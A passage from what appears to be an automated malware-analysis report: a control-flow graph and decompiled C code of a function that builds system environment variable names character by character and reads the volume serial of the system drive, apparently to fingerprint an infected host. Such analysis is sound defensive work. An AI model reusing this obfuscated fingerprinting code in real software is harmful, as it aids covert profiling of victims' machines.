                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 0 10f4a00-10f4a14 1 10f4a1c-10f4a1f 0->1 2 10f4a16-10f4a1a 0->2 4 10f552f-10f5532 1->4 2->1 3 10f4a24-10f4aee call 10fd620 2->3 7 10f4b49-10f4bb7 call 10fd620 3->7 8 10f4af0-10f4b03 call 10fbb40 3->8 13 10f4bb9-10f4bcc call 10fbb40 7->13 14 10f4c12-10f4c9b call 10f16e0 7->14 15 10f4b3d-10f4b41 call 10f7700 8->15 16 10f4b05-10f4b0d call 10f7850 8->16 27 10f4bce-10f4bd6 call 10f7850 13->27 28 10f4c06-10f4c0a call 10f7700 13->28 25 10f4e75-10f5228 call 10fd620 14->25 26 10f4ca1-10f4cb6 call 10fd620 14->26 21 10f4b46 15->21 24 10f4b12-10f4b17 16->24 21->7 24->15 29 10f4b19-10f4b1d 24->29 41 10f522a-10f5236 call 10fbb40 25->41 42 10f5239-10f525c call 10fd620 25->42 26->25 40 10f4cbc-10f4ccf call 10fbb40 26->40 38 10f4bdb-10f4be0 27->38 35 10f4c0f 28->35 29->15 34 10f4b1f-10f4b3a call 10f16e0 29->34 34->15 35->14 38->28 43 10f4be2-10f4be6 38->43 54 10f4e69-10f4e6d call 10f7700 40->54 55 10f4cd5-10f4cf6 call 10f16e0 40->55 41->42 57 10f525e-10f526a call 10fbb40 42->57 58 10f526d-10f528d call 10fd620 42->58 43->28 48 10f4be8-10f4c03 call 10f16e0 43->48 48->28 67 10f4e72 54->67 55->54 73 10f4cfc-10f4d98 call 10f16e0 * 2 NtCreateFile 55->73 57->58 68 10f528f-10f529b call 10fbb40 58->68 69 10f529e-10f52c1 call 10fd620 58->69 67->25 68->69 76 10f52c3-10f52cf call 10fbb40 69->76 77 10f52d2-10f52e1 69->77 105 10f4d9e-10f4df8 call 10f16e0 * 3 NtQueryVolumeInformationFile 73->105 106 10f4e4d-10f4e64 call 10fd560 call 10f16e0 73->106 76->77 80 10f52e7-10f52fc call 10f7850 77->80 81 10f53b6-10f53ba 77->81 92 10f5392-10f53ae call 10f7700 * 3 80->92 93 10f5302-10f5306 80->93 85 10f53bc-10f53c7 call 10f7850 81->85 86 10f5435-10f544d call 10f16e0 81->86 94 10f53cc-10f53d1 85->94 113 10f54fd-10f5501 86->113 114 10f5453-10f5469 call 10f7460 86->114 139 10f53b3 92->139 97 10f5308-10f5323 call 10f16e0 93->97 98 10f5326-10f532a 93->98 94->86 99 10f53d3-10f5432 call 10fd560 * 2 call 10fec60 94->99 97->98 107 10f532c-10f5347 call 10f16e0 98->107 108 10f534a-10f534e 98->108 99->86 160 10f4dfa-10f4e05 call 10f7850 105->160 161 10f4e40-10f4e4b call 10f16e0 NtClose 105->161 106->54 107->108 111 10f536e-10f5372 108->111 112 10f5350-10f536b call 10f16e0 108->112 111->92 124 10f5374-10f538f call 10f16e0 111->124 112->111 125 10f552c 113->125 126 10f5503-10f5507 113->126 114->113 141 10f546f-10f5487 call 10f16e0 114->141 124->92 125->4 126->125 135 10f5509-10f5525 126->135 135->125 139->81 154 10f5489-10f5497 call 10f7850 141->154 155 10f54f1-10f54f5 call 10f7700 141->155 159 10f549c-10f54a1 154->159 162 10f54fa 155->162 159->155 164 10f54a3-10f54aa 159->164 168 10f4e0a-10f4e0f 160->168 161->106 162->113 167 10f54b5-10f54bb 164->167 167->155 169 10f54bd-10f54ef call 10f16e0 167->169 168->161 170 10f4e11-10f4e3d call 10f16e0 168->170 169->167 170->161
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                      			E010F4A00(intOrPtr* _a4, intOrPtr* _a8) {
                                                                                                                                                                                                                                                                                                      				signed int _v8;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v12;
                                                                                                                                                                                                                                                                                                      				signed int _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v24;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _v28;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v40;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v44;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v48;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				signed int _v60;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v64;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v68;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v72;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v76;
                                                                                                                                                                                                                                                                                                      				void* _v80;
                                                                                                                                                                                                                                                                                                      				union _FSINFOCLASS _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v92;
                                                                                                                                                                                                                                                                                                      				short _v96;
                                                                                                                                                                                                                                                                                                      				short _v98;
                                                                                                                                                                                                                                                                                                      				short _v100;
                                                                                                                                                                                                                                                                                                      				short _v102;
                                                                                                                                                                                                                                                                                                      				short _v104;
                                                                                                                                                                                                                                                                                                      				short _v106;
                                                                                                                                                                                                                                                                                                      				short _v108;
                                                                                                                                                                                                                                                                                                      				short _v110;
                                                                                                                                                                                                                                                                                                      				char _v112;
                                                                                                                                                                                                                                                                                                      				short _v114;
                                                                                                                                                                                                                                                                                                      				short _v116;
                                                                                                                                                                                                                                                                                                      				short _v118;
                                                                                                                                                                                                                                                                                                      				short _v120;
                                                                                                                                                                                                                                                                                                      				short _v122;
                                                                                                                                                                                                                                                                                                      				short _v124;
                                                                                                                                                                                                                                                                                                      				short _v126;
                                                                                                                                                                                                                                                                                                      				short _v128;
                                                                                                                                                                                                                                                                                                      				short _v130;
                                                                                                                                                                                                                                                                                                      				short _v132;
                                                                                                                                                                                                                                                                                                      				short _v134;
                                                                                                                                                                                                                                                                                                      				char _v136;
                                                                                                                                                                                                                                                                                                      				short _v140;
                                                                                                                                                                                                                                                                                                      				short _v142;
                                                                                                                                                                                                                                                                                                      				short _v144;
                                                                                                                                                                                                                                                                                                      				short _v146;
                                                                                                                                                                                                                                                                                                      				short _v148;
                                                                                                                                                                                                                                                                                                      				short _v150;
                                                                                                                                                                                                                                                                                                      				short _v152;
                                                                                                                                                                                                                                                                                                      				short _v154;
                                                                                                                                                                                                                                                                                                      				short _v156;
                                                                                                                                                                                                                                                                                                      				short _v158;
                                                                                                                                                                                                                                                                                                      				short _v160;
                                                                                                                                                                                                                                                                                                      				short _v162;
                                                                                                                                                                                                                                                                                                      				char _v164;
                                                                                                                                                                                                                                                                                                      				short _v166;
                                                                                                                                                                                                                                                                                                      				short _v168;
                                                                                                                                                                                                                                                                                                      				short _v170;
                                                                                                                                                                                                                                                                                                      				short _v172;
                                                                                                                                                                                                                                                                                                      				short _v174;
                                                                                                                                                                                                                                                                                                      				short _v176;
                                                                                                                                                                                                                                                                                                      				short _v178;
                                                                                                                                                                                                                                                                                                      				short _v180;
                                                                                                                                                                                                                                                                                                      				short _v182;
                                                                                                                                                                                                                                                                                                      				short _v184;
                                                                                                                                                                                                                                                                                                      				short _v186;
                                                                                                                                                                                                                                                                                                      				short _v188;
                                                                                                                                                                                                                                                                                                      				short _v190;
                                                                                                                                                                                                                                                                                                      				short _v192;
                                                                                                                                                                                                                                                                                                      				short _v194;
                                                                                                                                                                                                                                                                                                      				char _v196;
                                                                                                                                                                                                                                                                                                      				short _v200;
                                                                                                                                                                                                                                                                                                      				short _v202;
                                                                                                                                                                                                                                                                                                      				short _v204;
                                                                                                                                                                                                                                                                                                      				short _v206;
                                                                                                                                                                                                                                                                                                      				short _v208;
                                                                                                                                                                                                                                                                                                      				short _v210;
                                                                                                                                                                                                                                                                                                      				short _v212;
                                                                                                                                                                                                                                                                                                      				short _v214;
                                                                                                                                                                                                                                                                                                      				short _v216;
                                                                                                                                                                                                                                                                                                      				short _v218;
                                                                                                                                                                                                                                                                                                      				short _v220;
                                                                                                                                                                                                                                                                                                      				short _v222;
                                                                                                                                                                                                                                                                                                      				short _v224;
                                                                                                                                                                                                                                                                                                      				short _v226;
                                                                                                                                                                                                                                                                                                      				short _v228;
                                                                                                                                                                                                                                                                                                      				short _v230;
                                                                                                                                                                                                                                                                                                      				short _v232;
                                                                                                                                                                                                                                                                                                      				short _v234;
                                                                                                                                                                                                                                                                                                      				char _v236;
                                                                                                                                                                                                                                                                                                      				short _v240;
                                                                                                                                                                                                                                                                                                      				short _v242;
                                                                                                                                                                                                                                                                                                      				short _v244;
                                                                                                                                                                                                                                                                                                      				short _v246;
                                                                                                                                                                                                                                                                                                      				short _v248;
                                                                                                                                                                                                                                                                                                      				short _v250;
                                                                                                                                                                                                                                                                                                      				short _v252;
                                                                                                                                                                                                                                                                                                      				short _v254;
                                                                                                                                                                                                                                                                                                      				short _v256;
                                                                                                                                                                                                                                                                                                      				short _v258;
                                                                                                                                                                                                                                                                                                      				short _v260;
                                                                                                                                                                                                                                                                                                      				short _v262;
                                                                                                                                                                                                                                                                                                      				short _v264;
                                                                                                                                                                                                                                                                                                      				short _v266;
                                                                                                                                                                                                                                                                                                      				short _v268;
                                                                                                                                                                                                                                                                                                      				short _v270;
                                                                                                                                                                                                                                                                                                      				short _v272;
                                                                                                                                                                                                                                                                                                      				short _v274;
                                                                                                                                                                                                                                                                                                      				short _v276;
                                                                                                                                                                                                                                                                                                      				short _v278;
                                                                                                                                                                                                                                                                                                      				char _v280;
                                                                                                                                                                                                                                                                                                      				short _v284;
                                                                                                                                                                                                                                                                                                      				short _v286;
                                                                                                                                                                                                                                                                                                      				short _v288;
                                                                                                                                                                                                                                                                                                      				short _v290;
                                                                                                                                                                                                                                                                                                      				short _v292;
                                                                                                                                                                                                                                                                                                      				short _v294;
                                                                                                                                                                                                                                                                                                      				short _v296;
                                                                                                                                                                                                                                                                                                      				short _v298;
                                                                                                                                                                                                                                                                                                      				short _v300;
                                                                                                                                                                                                                                                                                                      				short _v302;
                                                                                                                                                                                                                                                                                                      				short _v304;
                                                                                                                                                                                                                                                                                                      				short _v306;
                                                                                                                                                                                                                                                                                                      				short _v308;
                                                                                                                                                                                                                                                                                                      				short _v310;
                                                                                                                                                                                                                                                                                                      				short _v312;
                                                                                                                                                                                                                                                                                                      				short _v314;
                                                                                                                                                                                                                                                                                                      				short _v316;
                                                                                                                                                                                                                                                                                                      				short _v318;
                                                                                                                                                                                                                                                                                                      				short _v320;
                                                                                                                                                                                                                                                                                                      				short _v322;
                                                                                                                                                                                                                                                                                                      				short _v324;
                                                                                                                                                                                                                                                                                                      				long _v328;
                                                                                                                                                                                                                                                                                                      				long _v332;
                                                                                                                                                                                                                                                                                                      				void* _v340;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v344;
                                                                                                                                                                                                                                                                                                      				char _v348;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v352;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v356;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v360;
                                                                                                                                                                                                                                                                                                      				char* _v364;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v368;
                                                                                                                                                                                                                                                                                                      				void* _v372;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v388;
                                                                                                                                                                                                                                                                                                      				void _v396;
                                                                                                                                                                                                                                                                                                      				void* _t340;
                                                                                                                                                                                                                                                                                                      				void* _t345;
                                                                                                                                                                                                                                                                                                      				void* _t378;
                                                                                                                                                                                                                                                                                                      				void* _t380;
                                                                                                                                                                                                                                                                                                      				void* _t382;
                                                                                                                                                                                                                                                                                                      				void* _t384;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _t392;
                                                                                                                                                                                                                                                                                                      				void* _t399;
                                                                                                                                                                                                                                                                                                      				void* _t403;
                                                                                                                                                                                                                                                                                                      				void* _t407;
                                                                                                                                                                                                                                                                                                      				void* _t419;
                                                                                                                                                                                                                                                                                                      				void* _t425;
                                                                                                                                                                                                                                                                                                      				void* _t436;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t438;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t439;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t440;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t441;
                                                                                                                                                                                                                                                                                                      				void* _t443;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t444;
                                                                                                                                                                                                                                                                                                      				long _t455;
                                                                                                                                                                                                                                                                                                      				void* _t458;
                                                                                                                                                                                                                                                                                                      				long _t468;
                                                                                                                                                                                                                                                                                                      				void* _t472;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t477;
                                                                                                                                                                                                                                                                                                      				void* _t480;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t485;
                                                                                                                                                                                                                                                                                                      				void* _t487;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t615;
                                                                                                                                                                                                                                                                                                      				void* _t660;
                                                                                                                                                                                                                                                                                                      				void* _t661;
                                                                                                                                                                                                                                                                                                      				void* _t662;
                                                                                                                                                                                                                                                                                                      				void* _t663;
                                                                                                                                                                                                                                                                                                      				void* _t664;
                                                                                                                                                                                                                                                                                                      				void* _t665;
                                                                                                                                                                                                                                                                                                      				void* _t666;
                                                                                                                                                                                                                                                                                                      				void* _t667;
                                                                                                                                                                                                                                                                                                      				void* _t669;
                                                                                                                                                                                                                                                                                                      				void* _t672;
                                                                                                                                                                                                                                                                                                      				void* _t673;
                                                                                                                                                                                                                                                                                                      				void* _t674;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v84 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v84;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				_v164 = 0x43;
                                                                                                                                                                                                                                                                                                      				_v162 = 0x4f;
                                                                                                                                                                                                                                                                                                      				_v160 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v158 = 0x50;
                                                                                                                                                                                                                                                                                                      				_v156 = 0x55;
                                                                                                                                                                                                                                                                                                      				_v154 = 0x54;
                                                                                                                                                                                                                                                                                                      				_v152 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v150 = 0x52;
                                                                                                                                                                                                                                                                                                      				_v148 = 0x4e;
                                                                                                                                                                                                                                                                                                      				_v146 = 0x41;
                                                                                                                                                                                                                                                                                                      				_v144 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v142 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v140 = 0;
                                                                                                                                                                                                                                                                                                      				_v68 = 0;
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				_t340 = E010FD620( &_v164,  &_v68); // executed
                                                                                                                                                                                                                                                                                                      				_t661 = _t660 + 8;
                                                                                                                                                                                                                                                                                                      				if(_t340 == 0) {
                                                                                                                                                                                                                                                                                                      					L9:
                                                                                                                                                                                                                                                                                                      					_v112 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v110 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v108 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v106 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v104 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v102 = 0x41;
                                                                                                                                                                                                                                                                                                      					_v100 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v98 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v96 = 0;
                                                                                                                                                                                                                                                                                                      					_v72 = 0;
                                                                                                                                                                                                                                                                                                      					_v24 = 0;
                                                                                                                                                                                                                                                                                                      					_t345 = E010FD620( &_v112,  &_v72); // executed
                                                                                                                                                                                                                                                                                                      					_t662 = _t661 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t345 != 0) {
                                                                                                                                                                                                                                                                                                      						_t564 = _v72;
                                                                                                                                                                                                                                                                                                      						_t477 = E010FBB40(_v72, _v72);
                                                                                                                                                                                                                                                                                                      						_t673 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      						_v24 = _t477;
                                                                                                                                                                                                                                                                                                      						if(_v24 != 0) {
                                                                                                                                                                                                                                                                                                      							_t480 = E010F7850( &_v12, _v24); // executed
                                                                                                                                                                                                                                                                                                      							_t673 = _t673 + 8;
                                                                                                                                                                                                                                                                                                      							if(_t480 != 0 && _v24 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v72);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t564 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E010F7700(_t564, _v72); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t673 + 4;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v136 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v134 = 0x59;
                                                                                                                                                                                                                                                                                                      					_v132 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v130 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v128 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v126 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v124 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v122 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v120 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v118 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v116 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v114 = 0;
                                                                                                                                                                                                                                                                                                      					_v40 = 0;
                                                                                                                                                                                                                                                                                                      					_v88 = 0;
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)(E010F16E0() + 0xd4)) != 0) {
                                                                                                                                                                                                                                                                                                      						_t553 =  &_v136;
                                                                                                                                                                                                                                                                                                      						_t443 = E010FD620( &_v136,  &_v40); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t443 != 0) {
                                                                                                                                                                                                                                                                                                      							_t444 = E010FBB40( &_v136, _v40);
                                                                                                                                                                                                                                                                                                      							_t672 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      							_v88 = _t444;
                                                                                                                                                                                                                                                                                                      							if(_v88 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v348);
                                                                                                                                                                                                                                                                                                      								_t553 = _v40;
                                                                                                                                                                                                                                                                                                      								_push(_v40);
                                                                                                                                                                                                                                                                                                      								if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      									_v372 = 0x18;
                                                                                                                                                                                                                                                                                                      									_v368 = 0;
                                                                                                                                                                                                                                                                                                      									_v360 = 0x40;
                                                                                                                                                                                                                                                                                                      									_v364 =  &_v348;
                                                                                                                                                                                                                                                                                                      									_v356 = 0;
                                                                                                                                                                                                                                                                                                      									_v352 = 0;
                                                                                                                                                                                                                                                                                                      									_push(8);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push( &_v340);
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      									_v80 = 0;
                                                                                                                                                                                                                                                                                                      									E010F16E0();
                                                                                                                                                                                                                                                                                                      									_t455 = NtCreateFile( &_v80, 0x100001,  &_v372,  &_v340, 0, 0x80, 1, 1, 0, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      									_v328 = _t455;
                                                                                                                                                                                                                                                                                                      									if(_v328 >= 0) {
                                                                                                                                                                                                                                                                                                      										_push(8);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v340);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										_push(0x18);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v396);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										E010F16E0();
                                                                                                                                                                                                                                                                                                      										_t468 = NtQueryVolumeInformationFile(_v80,  &_v340,  &_v396, 0x18, 1); // executed
                                                                                                                                                                                                                                                                                                      										_v332 = _t468;
                                                                                                                                                                                                                                                                                                      										if(_v332 >= 0) {
                                                                                                                                                                                                                                                                                                      											_t472 = E010F7850( &_v12, _v8 + 8); // executed
                                                                                                                                                                                                                                                                                                      											_t672 = _t672 + 8;
                                                                                                                                                                                                                                                                                                      											if(_t472 != 0) {
                                                                                                                                                                                                                                                                                                      												_push(_v388);
                                                                                                                                                                                                                                                                                                      												_push(0x1104024);
                                                                                                                                                                                                                                                                                                      												_push(_v12 + _v8 * 2);
                                                                                                                                                                                                                                                                                                      												 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x150))))();
                                                                                                                                                                                                                                                                                                      												_t672 = _t672 + 0xc;
                                                                                                                                                                                                                                                                                                      												_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E010F16E0();
                                                                                                                                                                                                                                                                                                      										NtClose(_v80); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      									_t458 = E010F16E0();
                                                                                                                                                                                                                                                                                                      									_t553 =  *((intOrPtr*)(_t458 + 0x28));
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28))))( *((intOrPtr*)(E010FD560() + 0x18)), 0, _v344);
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E010F7700(_t553, _v40); // executed
                                                                                                                                                                                                                                                                                                      							_t662 = _t672 + 4;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v280 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v278 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v276 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v274 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v272 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v270 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v268 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v266 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v264 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v262 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v260 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v258 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v256 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v254 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v252 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v250 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v248 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v246 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v244 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v242 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v240 = 0;
                                                                                                                                                                                                                                                                                                      					_v196 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v194 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v192 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v190 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v188 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v186 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v184 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v182 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v180 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v178 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v176 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v174 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v172 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v170 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v168 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v166 = 0;
                                                                                                                                                                                                                                                                                                      					_v324 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v322 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v320 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v318 = 0x42;
                                                                                                                                                                                                                                                                                                      					_v316 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v314 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v312 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v310 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v308 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v306 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v304 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v302 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v300 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v298 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v296 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v294 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v292 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v290 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v288 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v286 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v284 = 0;
                                                                                                                                                                                                                                                                                                      					_v236 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v234 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v232 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v230 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v228 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v226 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v224 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v222 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v220 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v218 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v216 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v214 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v212 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v210 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v208 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v206 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v204 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v202 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v200 = 0;
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v64 = 0;
                                                                                                                                                                                                                                                                                                      					_t378 = E010FD620( &_v280,  &_v36); // executed
                                                                                                                                                                                                                                                                                                      					_t663 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t378 != 0) {
                                                                                                                                                                                                                                                                                                      						_t441 = E010FBB40(_v36, _v36);
                                                                                                                                                                                                                                                                                                      						_t663 = _t663 + 4;
                                                                                                                                                                                                                                                                                                      						_v64 = _t441;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v44 = 0;
                                                                                                                                                                                                                                                                                                      					_v48 = 0;
                                                                                                                                                                                                                                                                                                      					_t380 = E010FD620( &_v196,  &_v44); // executed
                                                                                                                                                                                                                                                                                                      					_t664 = _t663 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t380 != 0) {
                                                                                                                                                                                                                                                                                                      						_t440 = E010FBB40(_v44, _v44);
                                                                                                                                                                                                                                                                                                      						_t664 = _t664 + 4;
                                                                                                                                                                                                                                                                                                      						_v48 = _t440;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v76 = 0;
                                                                                                                                                                                                                                                                                                      					_v56 = 0;
                                                                                                                                                                                                                                                                                                      					_t382 = E010FD620(_v76,  &_v76);
                                                                                                                                                                                                                                                                                                      					_t665 = _t664 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t382 != 0) {
                                                                                                                                                                                                                                                                                                      						_t439 = E010FBB40(_v76, _v76);
                                                                                                                                                                                                                                                                                                      						_t665 = _t665 + 4;
                                                                                                                                                                                                                                                                                                      						_v56 = _t439;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v52 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_t384 = E010FD620( &_v236,  &_v52); // executed
                                                                                                                                                                                                                                                                                                      					_t666 = _t665 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t384 != 0) {
